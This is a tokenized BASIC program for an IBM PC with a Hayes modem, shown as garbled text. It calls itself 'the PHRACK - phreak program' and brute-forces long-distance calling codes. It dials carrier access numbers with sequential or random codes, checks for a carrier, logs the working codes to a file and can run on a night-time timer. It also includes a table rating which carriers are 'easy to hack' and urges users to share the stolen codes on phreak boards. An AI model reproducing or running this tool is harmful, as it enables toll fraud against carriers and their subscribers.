П BASENUM's # of DIGITS Gripes)П ---------- ----------- ------\П 950-0220 123456 gives fake carrierЙ(П 950-0777 12345678 hard to hackе2П or 1800 332-0777╥<П 450-5850 12345 easy to hackFП 950-1033 123456 fairly easy to hack)PП 1800638-1996 123456 okLZП 1800446-4462 123456 okRdПdnЖ RNDCODE()nx┐ ,│ВFALSEч:TRUEч:FLAGчFALSE:BIGCODEчFALSE:SPEAKERчTRUE:CLOCKчFALSEўМП ==================== MAIN PROGRAM ========================Ц└ :╔ ▌аН д :П┘intro;кН l :П┘defaults -read data|┤└:Е "defaults o.k.? (Y)";OT$:Л OT$ч"N"я OT$ч"n" ═ ╛ :б ╚Ъ╛Н $ :П┘dialing info╕╚Н ъ :П┘dialing display┴╥E$ч▐°▄ Л E$ч"b" я E$ч"B" ═ ╩ , :С " ->":Н ,:Й "/ц Л E$ч"c" я E$ч"C" ═ ╩ , :С " ->":Н ,:Й ╛fЁ Л E$ч"S" я E$ч"s" ═ ╩ , :С " ->":Н :Й ╚Ю· Л E$ч"Q" я E$ч"q" ═ ╩ , :С " ->":Н , :Й @╢Л FLAGчTRUE ═ Й " Л E$ч"a" я E$ч"A" ═ ╩ , :FLAGчTRUE:С " ->" :Н ,:Й "Й ╥="Л CLOCKчTRUE ═ Л ENDTIME$ ш ■О ═ └:Бo, Н ю :П┘dialing nitty gritty malitty stuffy6Й ╚о@Е "Do you want to save parameters (Y or N)";ANS$╨JЛ ANS$ч"y" я ANS$ч"Y" ═ Й hTП ================ end ==================================^Й ЪRh║ "dialcomm.inf" В OUTPUT AS#:С#,DIALCOMM$:╗#Зr║ "basenum.inf" В OUTPUT AS#:С#,BASENUM$ :╗#╟|║ "comma.inf" В OUTPUT AS#:С#, Ц(")щCOMMA$щ Ц("):╗#№Ж║ "currcode.inf" В OUTPUT AS#:С#,CURRCODE$:╗#1Р║ "carrier.inf" В OUTPUT AS#:С#,CARRIER$ :╗#8Ъ■ГyдП ================== Intro Stuff ========================йоС "Welcome to the PHRACK - phreak program."╓╕С " For phone phreakers of all ages."#┬С "This program was designed for an IBM pc with a Hayes internal modem."b╠С:С "For this program to work successfully we need to knowz╓С "several things;"БрС"║ъС " 1) The dialing command for your modem■ЇС " 2) The base number for the co. i.e. 950-1033К■С " 3) The number of comma's OR TIME DELAY FOR CODE 1COMMA=2SEC's"─С " 4) The starting code, and ending code.яС " 5) The carrier number."ЎС"@&С "The carrier number has to be a number that will answer the phone "К0С "with a carrier EVERY time. you can use ULTRA.EXE from Comworx. OR"╥:С "use this prog. OR find the number of a pathetic BBS and use it."DС" POST THE NUMBERS YOU FIND ON A PHREAK BOARD"UNС " Remember:Posting and sharing decreases the chance of a single "vXС "phreaker getting caught."|bО╝lП ================= Default Routine ====================┬vП№А║"com1:" AS # :С #,"AT S11=50":С #,"AT S7=60":╗ # КХ з Й иLФ ║"DIALCOMM.INF" В Е AS#:Е#,DIALCOMM$ :П┘Get Dial CommandXЮ Й ╝~и╗#:║"DIALCOMM.INF" В OUTPUT AS#├▓ DIALCOMM$ч"ATDT":С#,"ATDT" :и Г :П┘Create Dial Command╦╝╗#╤╞П▀╨Х з Й ю┌ ║"BASENUM.INF" В Е AS#:Е#,BASENUM$ :П┘Get Base Number+ф Й Pю╗#:║"BASENUM.INF" В OUTPUT AS#Х° BASENUM$ч"950-1033":С#,"950-1033" :и Г :П┘Create Base NumberЭ╗#гП▒Х з Й 4є ║ "COMMA.INF" В Е AS#:Е#,COMMA$ :П┘Get Comma List¤*Й H!4╗ #:║"COMMA.INF" В OUTPUT AS#b> COMMA$ч",,,,,":С#, Ц(+)щ",,,,,"щ Ц(+):и Г:П┘Create CommajH╗#pRП~\Х з Й Д┬f ║"CURRCODE.INF" В Е AS# :П┘Load previous code╓p Е#,CURRCODE$уz Й Ш Д ╗#:║"CURRCODE.INF" В OUTPUT AS#HО CURRCODE$ч"000000":С#,"000000" :и Г :П┘Create codeQШ╗ #WвПeмХ з Й ╩г╢╗#:║"CARRIER.INF" В Е AS# :Е#,CARRIER$ :П┘Get Carrierо└ Й ▐╙╩╗#:║"CARRIER.INF" В OUTPUT AS#╘ CARRIER$ч"414-964-5160" :С#,"414-964-5160" :и Г :П┘Create Car*▐Х з Й :╗ #=шХ з Й :╗ #wЄ╩ ,:С "press or to continue"д№E$ч▐:Л E$ч" " ═ :б Л E$ч Ц( ) ═ оЙ №┤П║О№$П ================= DIAL COMMAND info ====================; .└:С " Now we need to know that information as outlined] 8С" on the previous page."О B╩ , :С "The Current DIALING COMMAND is '";н L┐ :С DIALCOMM$;:┐ :С "'"▄ V┐ :╩ , :С "Shall we keep it (Y or N)->"!`E$ч▐:Л E$ч"y" я E$ч"Y" ═ Ь :б Л E$ч"n" я E$ч"N" ═ t"!jЙ `D!t╩ ,& :┐ :С "NO" :┐ :Н ,j!~╗#:║"DIALCOMM.INF" В OUTPUT AS#н!ИС:Е " Then what do you want it to be ";DIALCOMM$:С#,DIALCOMM$╗!Т╗#:Й ░▄!Ь╩ ,& :┐ :С"YES":┐ :Н ,т!жП#"░П ----------------= BASE NUMBER =-------------------------b"║└:С " Now we need to know that information as outlinedл"─С" on the first page. Please answer 'Y' or 'N' for the Question"╪"╬╩ , :С "The Current BASE NUMBER is ";я"╪┐ :С BASENUM$:┐ #т┐ :╩ , :С "Shall we keep it (Y or N)->"Z#ьE$ч▐:Л E$ч"y" я E$ч"Y" ═ ( :б Л E$ч"n" я E$ч"N" ═ d#ЎЙ ьЖ#╩ ,& :┐ :С "NO" :┐ :Н ,л# ╗#:║"BASENUM.INF" В OUTPUT AS#ь#С:Е " Then what do you want it to be ";BASENUM$:С#,BASENUM$√#╗ #:Й <$(╩ ,& :┐ :С"YES":┐ :Н ,"$2Пc$<П ----------------= COMMA's =----------------------------в$F└:С " Now we need to know that information as outlinedы$PС" on the first page. Please answer 'Y' or 'N' for the Question"&%Z╩ , :С "The Current list of COMMA's is '";COMMA$;"'"U%d┐ :╩ , :С "Shall we keep it (Y or N)->"С%nE$ч▐:Л E$ч"y" я E$ч"Y" ═ ┤ :б Л E$ч"n" я E$ч"N" ═ ВЫ%xЙ n╜%В╩ ,& :┐ :С "NO" :┐ :Н ,р%М╗#:║"COMMA.INF" В OUTPUT AS#&ЦС:С" Make sure you use Quotes. I.E."щ Ц(")щ",,,,"щ Ц(")P&аС:Е " Then what do you want it to be ";COMMA$x&кС #, Ц(")щCOMMA$щ Ц("):╗#:Й ╚Щ&┤╩ ,& :┐ :С"YES":┐ :Н ,Я&╛Пр&╚П ----------------= CODE =--------------------------------'╥└:С " Now we need to know that information as outlinedh'▄С" on the first page. Please answer 'Y' or 'N' for the Question"Н'ц╩ , :С "The Current CODE is ";е'Ё┐ :С CURRCODE$:┐ ╘'·┐ :╩ , :С "Shall we keep it (Y or N)->"(E$ч▐:Л E$ч"y" я E$ч"Y" ═ J :б Л E$ч"n" я E$ч"N" ═ (Й <(╩ ,& :┐ :С "NO" :┐ :Н ,b("╗#:║"CURRCODE.INF" В OUTPUT AS#е(,С:Е " Then what do you want it to be ";CURRCODE$:С#,CURRCODE$▐(6Л Т(CURRCODE$) ц ═ С "no more than 9 digits":Й ,ь(@╗#:Й ^ )J╩ ,& :┐ :С"YES":┐ :Н ,)TПT)^П ----------------= CARRIER =-----------------------------У)h└:С " Now we need to know that information as outlined█)rС" on the first page. Please answer 'Y' or 'N' for the Question*|╩ , :С "The Current CARRIER is ";*Ж┐ :С CARRIER$:┐ K*Р┐ :╩ , :С "Shall we keep it (Y or N)->"З*ЪE$ч▐:Л E$ч"y" я E$ч"Y" ═ ╓ :б Л E$ч"n" я E$ч"N" ═ оС*дЙ Ъ│*о╩ ,& :┐ :С "NO" :┐ :Н ,╪*╕╗#:║"CARRIER.INF" В OUTPUT AS#+┬С:Е " Then what do you want it to be ";CARRIER$:С#,CARRIER$(+╠╗ #:Й ^I+╓╩ ,& :┐ :С"YES":┐ :Н ,O+рОС+ъП ================= Dialing DISPLAY =========================Ч+Ї└Я+■┐ █+╩ , :С "These are the current information parameters"у+┐ ,╩ , :С "DIALING COMMAND",&╩ ,:С "BASE NUMBER"I,0╩ ,0:С "COMMA's (or 2 second delays)"d,:╩ ,:С "CURRENT CODE"В,D╩ ,:С "CARRIER NUMBER"┤,NЛ RANDOMчTRUE ═ ╩ ,:С"Randomize -==-"╝,X┐ ╥,b╩ ,:С DIALCOMM$ш,l╩ ,:С BASENUM$№,v╩ ,4:С COMMA$-А╩ ,:С CURRCODE$(-К╩ ,:С CARRIER$5-Ф╗ :┐ ,[-Ю╩ ,:С " uto Dialing "q-иЛ FLAGчTRUE ═ ┌Ч-▓╩ ,:С " egin Dialing "╜-╝╩ ,:С " hange parameters "у-╞╩ ,:С " pecial Features " .╨╩ ,:С " uit to DOS ".┌┐ ,.фОY.юП ========--Actual nitty gritty dialing --=================|.° ╩ ,-:С "Current Status :";Ш.┐ :╩ ,>:С "Dialing"л.║"COM1:" AS #х.DIALINE$чDIALCOMM$щBASENUM$щCOMMA$щCURRCODE$щCARRIER$Ў. С#,DIALINE$6/*П ================ Carrier Detect Loop =================^/4┐ :╩ ,>:С "Waiting-Carrier":┐ М/>┐ :╩ ,7:С "Hit to Abort call":┐ ╜/H┐ :╩ ,7:С "Hit to stop Autodial":┐ т/R┐ ,:╩ ,7:С "TIMEOUT:":┐ ,є/\В XRч ╠ LT0fE$ч▐:Л E$ч"A" я E$ч"a" ═ ┐ :╩ ,>:С #,"ATH": С "ABORT ":Н ,:┐ :Й ╢║0pЛ E$ч"S" я E$ч"s" ═ ┐ :╩ ,>:FLAGчFLASE:С #,"ATH": С "STOP AUTODIAL ":Н ,:┐ :Й ╢╔0zHXFE ч ■█0ДCD ч Р(HXFE)ь0ОCD ч CD ю А1ШЛ CD ч А ═ ║ :П┘save the darn thing!-1в╩ ,@:С LъXR61мГ XRu1╢П ----------------= Increment Routine =-----------------Э1└┐ :╩ ,>:С "Increment Code ":┐ ╪1╩Л RANDOMчTRUE ═ Н :Й № :П┘random generator 2╘Л Т(CURRCODE$)ц ═ Н И :Й № :П┘bigcode 2▐ Xч Ф(CURRCODE$)02ш XчXщM2Є CURRCODE$ч Г( У(X),)S2№О}2 П ----Random?----Bigcode?------------Ж2 ╣ ■Фа2 CODELENч Т(CURRCODE$)▒2$ CURRCODE$ч""╔2. В LOOPч ╠ CODELENш28 RNDCODE(LOOP)ч Е( Иы(щ))є2B Г LOOP∙2L П3V В LOOPч ╠ CODELENA3` CURRCODE$чCURRCODE$щ Г( У(RNDCODE(LOOP)),)L3j Г LOOPR3t ОР3~ П ----------===Bigcode (more than 8 char's)===----------╗3И BIGCODEчTRUE:LEFTCODE$ч Б(CURRCODE$,)┌3Т RIGHTCODE$ч Г(CURRCODE$,)4Ь Xч Ф(RIGHTCODE$):XчXщ:RIGHTCODE$ч У(X)54ж CURRCODE$ч Г(LEFTCODE$,)щ Г(RIGHTCODE$,);4░ О{4║ П ================= SAVE CODE BABY! =====================д4─ ┐ :╩ ,>:С "Carrier Detect ":┐ ╢4╬ С #,"ATH"┘4╪ ║"C:NUMBERS" В APPEND AS #■4т С #,BASENUM$,CURRCODE$,■Н,■О5ь Н ╢ :П┘increment5Ў Оb5 П =================== Special Features =========================h5 Пп5 └:С"================= Special Features =========================ё5 ╩ , :С" Randomize Codesearch (On AUTODIAL mode only)"6( ╩ , :С" PEAKER ON or OFF"C62 ╩ , :С" ATE NIGHT CALLING- SET TIMER"[6< ╩ , :С" Quit"|6F E$ч▐:Л E$ч"r" я E$ч"R" ═ x ╢6P Л E$ч"S" я E$ч"s" ═ ║ "COM1:" AS #:С#,"ATM":╗:Й а ╥6Z Л E$ч"L" я E$ч"l" ═ |ю6d Л E$ч"q" я E$ч"Q" ═ ц °6n Й F 7x Л RANDOMчTRUE ═ М :б В i7В ╩ , :С "Randomize Special Feature -==- ":RANDOMчTRUE :Й ▄ к7М ╩ , :С "Randomize Special Feature -==-":RANDOMчFALSE┤7Ц Й ▄ ╒7а Л SPEAKERчFALSE ═ к :б ╚ 8к ╩ , :С "Modem Speaker -==-":SPEAKERчTRUE.8┤ ║ "COM1:" AS #:С#,"ATM1":╗ #88╛ Й ▄ o8╚ ╩ , :С "Modem Speaker -==-":SPEAKERчFALSEТ8╥ ║ "COM1:" AS #:С#,"ATM":╗ #в8▄ Н · :Й и8ц Оя8Ё П---------------------- Delay subroutines ------------------------9· В Xч ╠ d: Г X9В Xч ╠ d: Г X.9В Xч ╠ d: Г XC9В Xч ╠ d: Г XX9"В Xч ╠ d: Г Xm9,В Xч ╠ d: Г XВ96В Xч ╠ d: Г XЧ9@В Xч ╠ d: Г Xм9JВ Xч ╠ d: Г X┴9TВ Xч ╠ d: Г X╓9^В Xч ╠ d: Г X▌9h О':rП =-=-=-=-=-=-=-=-=-=-=-=-> TIMER ROUTINE <-=-=-=-=-=-=-=-=-=-=-=-=-=F:|└:╩ ,:С "TIMER ROUTINE"Т:ЖС:С:С"The timer will just turn the AUTODIAL command ON at at set time."с:РС:С"Are you sure the current parameters are the ones you are happy with ?";ЪС:С" Hit 'Y' or 'N'"T;дE$ч▐:Л E$ч"y" я E$ч"Y" ═ ╕ :б Л E$ч"n" я E$ч"N" ═ ┬^;оЙ дИ;╕╩ ,& :┐ :С"YES":┐ :Н ,:└:Й ╠▒;┬╩ ,& :┐ :С "NO" :┐ :Н ,:Й ╚┌;╠╩ ,:С "Make Sure TIME is correct"■;╓╩ ,:С "The time is......";■О.<р┐ :╩ , :С "Shall we keep it (Y or N)->"j<ъE$ч▐:Л E$ч"y" я E$ч"Y" ═ :б Л E$ч"n" я E$ч"N" ═ ■t<ЇЙ ъЧ<■╩ ,& :┐ :С "NO" :┐ :Н ,╧<╩ ,:Е"Then what do you want it to be ";CHNGTIME$ц<■ОчCHNGTIME$:Й 0=╩ ,& :┐ :С"YES":┐ :Н ,=&ПK=0╩ ,:░ Е "Enter AUTOmatic AUTODIAL turn ON >";STRTIME$И=:╩ ,:░ Е "Enter AUTOmatic AUTODIAL turn OFF>";ENDTIME$╡=D╩ ,:Е "Is this correct (Y OR N) ";CO$╫=NЛ CO$ч"n" я CO$ч"N" ═ └:Й |6>X└:╩ ,:С"When the time equals your set time, dialing will begin at your set parameters."`>b╩ ,:С"Begin Dialing at ";STRTIME$К>l╩ ,:С" End Dialing at ";ENDTIME$┬>v╩ , :С "screen clears to prevent screen burn-in"у>АЛ ■О ш STRTIME$ ═ К :б иє>К TIMчTIMщ?Ф Л TIMч╕ ═ └?ЮЙ А?иП>?▓CLOCKчTRUE:FLAGчTRUE:SPEAKERчFALSEH?╝Й ╚